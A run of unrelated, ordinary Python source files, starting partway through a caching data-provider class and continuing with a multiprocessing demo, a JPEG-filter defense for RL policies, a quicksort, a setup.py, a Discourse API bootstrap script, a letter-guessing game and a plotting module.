        though it can be useful in particular during debugging.
        """
        if self._pending_load_keys:
            self._load_batch(self._pending_load_keys)

    # noinspection PyMethodMayBeStatic
    def _create_cache(self) -> typing.MutableMapping[typing.Hashable, TVal]:
        """
        Initializes the cache that the data provider will use.

        You may override this method in a subclass if desired; the only
        restriction is that it must return some kind of mutable mapping.
        """
        return {}

    def _add_to_cache(self,
            cache_key: typing.Hashable,
            cache_value: TVal,
    ) -> None:
        """
        Adds a value to the cache.

        If there is an existing value with the same key, it is overwritten.

        You may override this method in a subclass if desired.
        """
        self._cache[cache_key] = cache_value

    def _get_from_cache(self, cache_key: typing.Hashable) -> TVal:
        """
        Attempts to retrieve the data from the cache for the specified key.

        You may override this method in a subclass if desired.

        :raise:
          - :py:class:`KeyError` in the event of a cache miss.
        """
        return self._cache[cache_key]

    def _add_to_key_registry(self, key: TKey) -> None:
        """
        Adds the specified value to the registry of unloaded keys.

        :param key:
            The key that was passed to :py:meth:`register`.
        """
        # If we can't load data for a value, then there's no point in
        # registering it.
        load_key = self.gen_load_key(key)
        if load_key is not None:
            # If we can't cache data for a value, then there would be no point
            # in loading data for it.
            # Also, we don't need to register a value if we already have cached
            # data for it.
            cache_key = self.gen_cache_key(key)
            if (cache_key is not None) and (cache_key not in self._cache):
                # Queue the load key for the next time we call
                # :py:meth:`_load_data`.
                self._pending_load_keys.add(load_key)

                # Queue the corresponding cache key so that we can ensure that
                # *some* kind of value is cached, even if the backend doesn't
                # return any data for it.
                self._pending_cache_keys[load_key].add(cache_key)

    # noinspection PyUnusedLocal
    def _get_keys_to_load(self,
            hint: typing.Hashable,
    ) -> typing.Set[typing.Hashable]:
        """
        Used by :py:meth:`_load_data` to decide which values to send to the
        backend.

        By default, this method returns all pending load keys, but you may
        override this method in a subclass if you want to use a more selective
        strategy.

        :param hint:
            The requested load key (based on the key passed to
            :py:meth:`__getitem__`).  This can be useful if the data provider
            only needs to load a subset of the data depending on which key the
            caller requested data for.
        """
        return self._pending_load_keys

    def _load_data(self, hint: typing.Hashable) -> None:
        """
        Bulk-loads data from the backend in the event of a cache miss.

        :param hint:
            The requested load key (based on the key passed to
            :py:meth:`__getitem__`).  Passed to :py:meth:`_get_keys_to_load`,
            in case only a subset of the data should be loaded depending on
            which key the caller requested data for.
        """
        batched_load_keys = self._get_keys_to_load(hint)
        if batched_load_keys:
            self._load_batch(batched_load_keys)

    def _load_batch(self, load_keys: typing.Set[typing.Hashable]) -> None:
        """
        Bulk-loads data from the backend, only for the specified keys.
        """
        loaded = self.fetch_from_backend(load_keys)

        # :py:meth:`fetch_from_backend` is expected to return a mapping, or at
        # least a value that quacks like one.
        if isinstance(loaded, typing.Generator):
            iterator = loaded
        else:
            if not isinstance(loaded, typing.Mapping):
                loaded = dict(loaded)

            iterator = loaded.items()

        for cache_key, cache_value in iterator:
            # The backend can overwrite any existing cached values.
            # You may override :py:meth:`_add_to_cache` in a subclass if this
            # is not desirable behavior.
            self._add_to_cache(cache_key, cache_value)

        # Fill in any missing cache keys that weren't included in the result
        # from the backend.
        for lk in load_keys:
            for pck in self._pending_cache_keys[lk]:
                if pck not in self._cache:
                    self._add_to_cache(pck, self.gen_empty_result())
            self._pending_cache_keys.pop(lk, None)

        self._pending_load_keys -= load_keys

class MutableDataProviderMixin(
    BaseDataProvider[TKey, TVal],
    metaclass=ABCMeta,
):
    """
    A mixin for data provider classes that allow external code to modify the
    contents of the cache.

    Any values set this way will override values returned by the backend.
    """

    def __init__(self):
        super(MutableDataProviderMixin, self).__init__()

        self._override_cache_keys: typing.Set[typing.Hashable] = set()

    def __setitem__(self, key: TKey, cache_value: TVal) -> None:
        """
        Sets the cached value for the specified object.

        :param key:
            Same as :py:meth:`__getitem__`.

        :param cache_value:
            The value that should be put in the cache.
        """
        load_key = self.gen_load_key(key)
        if load_key is not None:

            cache_key = self.gen_cache_key(key)
            if cache_key is not None:

                # Since we are setting the cached value explicitly, we do not
                # need to backfill it when :py:meth:`_load_data` runs.
                pending_cache_keys = self._pending_cache_keys[load_key]
                pending_cache_keys.discard(cache_key)

                # If there are no [other] registered cache keys associated with
                # this load key, then we won't have to load any data for that
                # key (i.e., we can drop it).
                if not pending_cache_keys:
                    self._pending_load_keys.discard(load_key)

                # Allow :py:meth:`__setitem__` to override values more than
                # once.
                self._override_cache_keys.discard(cache_key)

                self._replace_cached_value(cache_key, cache_value)
                self._override_cache_keys.add(cache_key)

    def _replace_cached_value(self,
            cache_key: typing.Hashable,
            cache_value: TVal,
    ) -> None:
        """
        Replaces a value in the cache.

        You may override this method in a subclass if desired.

        Note: this method must *not* raise an exception.
        """
        self._add_to_cache(cache_key, cache_value)

    def _add_to_cache(self,
            cache_key: typing.Hashable,
            cache_value: TVal,
    ) -> None:
        """
        Adds a value to the cache, if it has not been overridden by
        :py:meth:`__setitem__`.
        """
        if cache_key not in self._override_cache_keys:
            super(MutableDataProviderMixin, self) \
                ._add_to_cache(cache_key, cache_value)

class DataProvider(MutableDataProviderMixin[TKey, TVal]):
    """
    Basic data provider implementation.
    """

    def __init__(self,
            loader: typing.Callable[
                [typing.Set[TKey]],
                typing.Union[
                    typing.Mapping[TKey, TVal],
                    typing.Iterable[typing.Tuple[TKey, TVal]],
                ],
            ],
    ) -> None:
        """
        :param loader:
            The function that will be used to load the values from the backend.

            The function must accept a set of load keys and return a dict or
            tuple of key/value pairs, so that it can associate each load key
            with the corresponding data from the backend.

        Example:

        .. code-block:: python

           def get_users_by_id(user_ids: Set[int]) -> Dict[int, dict]:
               '''
               Load user records for the specified IDs and return the
               corresponding rows.
               '''
               # ...

           dp = DataProvider(get_users_by_id)
           dp.register(user_ids)

           for user_id in user_ids:
               # ``dp[user_id]`` will be the row the bulk-query returned
               # for the that user ID.
               do_something_with(dp[user_id])

        Refer to the unit test for more examples.
        """
        super().__init__()

        self.loader = loader

    def fetch_from_backend(self,
            load_keys: typing.Set[TKey]
    ) -> typing.Union[
        typing.Mapping[TKey, TVal],
        typing.Iterable[typing.Tuple[TKey, TVal]],
    ]:
        """
        Execute the loader function to bulk-load data from the backend.
        """
        return self.loader(load_keys)


from multiprocessing import Pool, Manager
import time, os, random

def write(q):
    print("writer启动(%s),父进程为(%s)" % (os.getpid(), os.getppid()))
    for i in "Micheal":
        q.put(i)

def read(q):
    print("reader启动(%s),父进程为(%s)" % (os.getpid(), os.getppid()))
    for i in range(q.qsize()):
        print("reader从Queue获取到消息：%s" % q.get(True))

if __name__ == "__main__":
    print("(%s) start" % os.getpid())
    q = Manager().Queue()  # 使用Manager中的Queue来初始化
    po = Pool()
    # 使用阻塞模式创建进程，这样就不需要在reader中使用死循环了，可以让writer完全执行完成后，再用reader去读取
    po.apply(write, (q,))
    po.apply(read, (q,))
    po.close()
    po.join()
    print("(%s) End" % os.getpid())


from torchvision import transforms
from PIL import Image
import numpy as np

_to_pil_image = transforms.ToPILImage()
_to_tensor = transforms.ToTensor()

try:
    from cStringIO import StringIO as BytesIO
except ImportError:
    from io import BytesIO

def JPEGFilterDefense(policy, quality=10):
    """
    Defend a policy converting input observations to jpeg
    input obs should be [batch_size x n_channels x h x w]
    - example of policy: https://github.com/thu-ml/tianshou/blob/master/tianshou/policy/modelfree/dqn.py
    Usage example:
        policy = load_policy(...)
        def_policy = JPEGFilterDefense(policy)

    :param policy: (policy) Tianshou Policy object
    :param quality: (int) jpeg image quality
    :return: defended policy
    """

    f = policy.forward

    def defense_forward(s, last_state=None):
        """
        :param s: Tianshou Batch object
        :return: defended policy.forward method
        """

        x = s.obs
        for batch in range(x.shape[0]):
            for frame in range(x.shape[1]):
                img = _to_pil_image(np.expand_dims(x[batch][frame].astype(np.uint8), axis=-1))
                virtualpath = BytesIO()
                img.save(virtualpath, 'JPEG', quality=quality)
                arr = np.array(Image.open(virtualpath))
                img = Image.fromarray(np.uint8(arr))
                virtualpath = BytesIO()
                img.save(virtualpath, 'BMP')
                x[batch][frame] = np.array(Image.open(virtualpath))
        s.obs = x
        return f(s, last_state)

    policy.forward = defense_forward
    return policy


from typing import List

def quick_sort(arr: List) -> List:
    if len(arr) < 2:
        return arr
    else:
        guess = arr[0]
        less = [i for i in arr[1:] if i <= guess]
        greater = [i for i in arr[1:] if i > guess]

        return quick_sort(less) + [guess] + quick_sort(greater)

if __name__ == '__main__':
    print(quick_sort([10, 5, 2, 500, 10, -100, 0]))


from setuptools import find_packages, setup

with open('README.md', 'r') as f:
    long_description = f.read()

setup(
    name='hr',
    version='1.0.0',
    author='patrick',
    author_email='pgpresto@gmail.com',
    description = 'CLI utility for outputing user records',
    long_description=long_description,
    long_description_content_type = 'text/markdown',
    url='https://github.com/ppresto/hr',
    packages=find_packages('src'),
    package_dir={'': 'src'},
    install_requires=[],
    python_requires='>=3.6',
    entry_points={
        'console_scripts': [
            'hr=hr.cli:main'
        ],
    }
)


import logging
import os
import sys

import requests
import yaml
from jinja2 import Environment, FileSystemLoader

def show_args(function):
    def proceed(*args):
        fn = "[fn] {}".format(function.__name__)
        if args:
            fn += "; [args] {}".format(list(args))
        logging.debug(fn)
        return function(*args)

    return proceed

def load_project(map_file):
    """Read and parse YAML project map"""
    with open(map_file, 'r') as project_file:
        try:
            return yaml.safe_load(project_file)
        except yaml.YAMLError as ex:
            logging.critical(ex)
            sys.exit(1)

@show_args
def get_categories():
    """Retrieve existing categories."""
    r = requests.get(API_URL + '/categories.json', headers=headers)
    logging.debug("[{}]: {}".format(r.status_code, r.json()))

    try:
        category_list = r.json()['category_list']['categories']
        _categories = []
        for _category in category_list:
            _categories.append({'id': _category['id'], 'name': _category['name'], 'slug': _category['slug'],
                                'color': _category['color']})
        return _categories

    except KeyError:
        logging.warning("response doesn't contain target keys")
        return None

@show_args
def get_topic_from_category(_id):
    """Retrieve all topics from a target category."""
    r = requests.get(API_URL + "/c/{}.json".format(_id), headers=headers)
    logging.debug("[{}]: {}".format(r.status_code, r.json()))

    try:
        topic_list = r.json()['topic_list']['topics']
        _topics = []
        for _topic in topic_list:
            _topics.append(
                {'id': _topic['id'], 'title': _topic['title'], 'slug': _topic['slug'], 'closed': _topic['closed']})
        return _topics

    except KeyError:
        logging.warning("response doesn't contain target keys")
        return None

@show_args
def delete_topic(_id):
    """Delete a topic with a target ID."""
    r = requests.delete(API_URL + "/t/{}.json".format(_id), headers=headers)
    logging.debug("[{}] {}".format(r.status_code, r.text))

@show_args
def create_category(_name, _color, text_color="000000"):
    """Create category with given parameters."""
    data = {"name": _name, "color": _color, "text_color": text_color}
    r = requests.post(API_URL + "/categories.json", headers=headers, data=data)
    logging.debug("[{}]: {}".format(r.status_code, r.json()))

    try:
        _category_id = r.json()['category']['id']
        return _category_id

    except KeyError:
        logging.warning("response doesn't contain target keys")
        return None

@show_args
def create_topic(title, raw, _category_id):
    """Create topic within given category with given parameters."""
    data = {"title": title, "raw": raw, "category": _category_id}
    r = requests.post(API_URL + "/posts.json", headers=headers, data=data)
    logging.debug("[{}]: {}".format(r.status_code, r.json()))

@show_args
def delete_all_topics_and_categories(_categories):
    """Get all topics from given categories and delete them all."""
    for _category in _categories:
        if _category['name'] not in ("Site Feedback", "Lounge"):
            for topic in get_topic_from_category(_category['id']):
                delete_topic(topic['id'])

@show_args
def bootstrap_project():
    """Create categories and topics on managed Discourse server from project map"""
    colors = ["F7941D", "BF1E2E", "3AB54A", "25AAE2", "797D81"]
    project = load_project("project.yml")
    for _category in project:
        _category_id = create_category(_category, colors.pop())
        logging.info("created category: {}; id: {}".format(_category, _category_id))
        for _topic in project[_category]:
            for description in project[_category][_topic]:
                create_topic(_topic, description, _category_id)

@show_args
def render_html(_categories):
    """Render contents with given categories and topics bundle"""
    bundle = {}
    for category in _categories:
        name = category['name']
        color = category['color']
        category_url = "{}/c/{}".format(API_URL, category['slug'])
        if name not in ['Staff', 'Uncategorized', 'Lounge', 'Site Feedback']:
            bundle[name] = {"color": color, "category_url": category_url, "topics": []}
            for topic in get_topic_from_category(category['id']):
                title = topic['title']
                closed = topic['closed']
                topic_url = "{}/t/{}".format(API_URL, topic['slug'])
                if not title.startswith('About '):
                    bundle[name]["topics"].append({"title": title, "topic_url": topic_url, "closed": closed })

    file_loader = FileSystemLoader('templates')
    env = Environment(loader=file_loader)
    template = env.get_template('map.html.j2')

    for b in bundle:
        print("{}: {}".format(b, bundle[b]))

    output = template.render(bundle=bundle)
    print(output)

if __name__ == "__main__":
    logging.basicConfig(
        format='%(asctime)s - %(levelname)s - %(message)s',
        stream=sys.stdout,
        level=logging.INFO)

    API_URL = os.environ.get('API_URL')
    API_KEY = os.environ.get('API_KEY')
    API_USER = os.environ.get('API_USER')
    if not API_URL or not API_KEY or not API_USER:
        logging.warning("please export API_{URL,KEY,USER} [!]")
        exit(1)

    headers = {
        "Api-Key": API_KEY,
        "Api-Username": API_USER
    }

    bootstrap_project()

    categories = get_categories()
    # logging.info("categories: %s" % categories)
    # delete_all_topics_and_categories(categories)

    print()
    render_html(categories)


import random
import string

from enum import Enum
from utils import get_words

ALPHABET = string.ascii_lowercase
ALL_WORDS = get_words()
MAX_GUESSES = 10

class Game:
    def __init__(self) -> None:
        self._letter = self._pick_letter()  # which letter to exclude for this run
        self._words_to_show = []  # which words to pick from
        self._shown_words = []
        self._won = False  # has the user guessed the word correctly?
        self._guesses = []  # letters that the user has guessed

    def run(self):
        # set initial words to draw from
        self._words_to_show = self._select_words()
        print("Which letter is not used in these words?")

        while not self._won and len(self._guesses) < MAX_GUESSES:
            # pick a word for the user to base guess on and remove from list
            this_word = random.choice(self._words_to_show)
            self._shown_words.append(this_word)
            self._words_to_show = [w for w in self._words_to_show if w != this_word]

            # show word to the user
            print(this_word.upper())

            # get user input and evaluate
            this_guess = input("Which letter was removed from the alphabet?")

            if this_guess.lower() not in ALPHABET:
                print("Limit guesses to single ASCII letters! Try again.")
                continue

            if any([this_guess.lower() in w for w in self._shown_words]):
                print("That letter was used in one of the shown words! Try again.")
                continue
            if this_guess in self._guesses:
                print(f"You have guessed {this_guess} before! Try again.")
                continue

            self._guesses.append(this_guess)
            if this_guess.upper() == self._letter.upper():
                self._end_game("won")
            else:
                print(f"{len(self._guesses)}/{MAX_GUESSES} tries used")

        # after ten tries
        if len(self._guesses) >= MAX_GUESSES:
            self._end_game("lost")

    def _end_game(self, result: str) -> None:
        if result == "won":
            self._won = True
            print(
                f"Congratulations, you won the game after {len(self._guesses)} tries!"
            )
        else:
            print(
                f"You didn't manage to guess the letter after {len(self._guesses)} tries."
            )

        print(f"The missing letter was {self._letter.upper()}.")

    def _pick_letter(self) -> str:
        """Which letter to exclude from the alphabet for a specific run.

        Returns:
            str: excluded letter
        """
        return random.choice(ALPHABET)

    def _select_words(self) -> list[str]:
        """Select words that can be shown for a specific round.

        Returns:
            list[str]: list of possible words
        """
        return [w for w in ALL_WORDS if self._letter not in w]

if __name__ == "__main__":
    game = Game()
    game.run()


"""
NOME: Some Evidence on Political  Information and Exchange Coupon in Brazil  -
      Graph Module
AUTHOR: Bernardo Paulsen
DATE: 2019/06/24
VERSION: 2.0.0
LINK: https://github.com/profnssorg/information-asset-returns

DESCRIPTION: Class for the output of graphs' image and latex text

"""

# IMPORTING PACKAGES ########

from matplotlib import pyplot as plt # graphs
from matplotlib import dates as mdates # dates on graphs

# DEFINING CLASS ########

class Graph():

    ''' CLASS FOR THE OUTPUT OF GRAPHS '''

    def __init__(self):

        self.init = 'OK'

    def series(series=list(),  # list with Series to be plotted
        legends=list(),  # legends for Series. if empty, legends are not included
        y_axis=str(),  # name of y axis
        title=str(),  # title of graphic in LaTeX
        label=str()):  # label to use in LaTeX

        lines = ['solid', 'dashed', 'dashdot', 'dotted']

        for i in range(len(series)):
            ax = series[i].plot(figsize=(8, 5), color='black', linestyle=lines[i])
        if len(legends) > 0:
            ax.legend(legends)
        ax.grid(axis='x')
        ax.xaxis.set_major_locator(mdates.YearLocator())
        ax.xaxis.set_major_formatter(mdates.DateFormatter('%m-%Y'))
        plt.gcf().autofmt_xdate()
        plt.xlabel('Date')
        plt.ylabel(y_axis)
        plt.savefig('latex/graphs/{}'.format(label), dpi=200)
        plt.show()

        a = open('latex/graphstext/{}.txt'.format(label), 'w')
        a.write('''\\begin{{figure}}[H]
\\caption{{{0}}}
\\label{{fig:{1}}}
\\centering
\\includegraphics[width=\\textwidth]{{graphs/{1}.png}}
\\end{{figure}}'''.format(title, label))
        a.close()

    def multiple(tup=tuple()):

        '''FOR VARIOUS GRAPHS '''

        for i in range(len(tup)):
            Graph.series(tup[i][0],
                tup[i][1],
                tup[i][2],
                tup[i][3],
                tup[i][4], )